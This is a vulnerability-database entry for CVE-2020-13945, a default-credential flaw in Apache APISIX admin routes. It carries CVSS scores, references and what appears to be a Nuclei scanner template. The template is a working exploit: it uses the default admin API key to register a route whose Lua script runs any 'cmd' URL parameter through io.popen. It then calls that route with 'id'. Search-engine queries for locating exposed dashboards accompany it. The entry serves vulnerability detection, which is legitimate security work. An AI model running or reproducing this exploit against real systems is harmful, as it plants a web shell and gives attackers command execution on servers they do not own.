CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
83.0%
Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
id: CVE-2020-13945
info:
name: Apache APISIX - Insufficiently Protected Credentials
author: pdteam
severity: medium
description: Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
impact: |
The vulnerability could result in unauthorized access to sensitive information, leading to potential data breaches or unauthorized actions.
remediation: |
Upgrade to the latest version of Apache APISIX, which includes a fix for the vulnerability. Additionally, ensure that sensitive credentials are properly protected and stored securely.
reference:
- https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
- https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
- http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-13945
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2020-13945
cwe-id: CWE-522
epss-score: 0.00838
epss-percentile: 0.81705
cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: apisix
shodan-query: http.title:"apache apisix dashboard"
fofa-query: title="apache apisix dashboard"
google-query: intitle:"apache apisix dashboard"
tags: cve2020,cve,intrusive,vulhub,packetstorm,apache,apisix
http:
- raw:
- |
POST /apisix/admin/routes HTTP/1.1
Host: {{Hostname}}
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
{
"uri":"/{{randstr}}",
"script":"local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream":{
"type":"roundrobin",
"nodes":{
"interact.sh:80":1
}
}
}
- |
GET /{{randstr}}?cmd=id HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- '"action":"create"'
- '"script":'
- '"node":'
condition: and
- type: status
status:
- 201
extractors:
- type: regex
regex:
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
# digest: 4a0a00473045022057cc3dae9991d781ea248b25c769d1453bf07dc4e932b89d0d4cc89866fd5232022100e47028445bd336e7e8446d06b6d5e9cf43ab09aa6883799f4d42ddfd609283ff:922c64590222798bb761d5b6d8e72950
packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
github.com/ARPSyndicate/cvemon
github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
nvd.nist.gov/vuln/detail/CVE-2020-13945
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
83.0%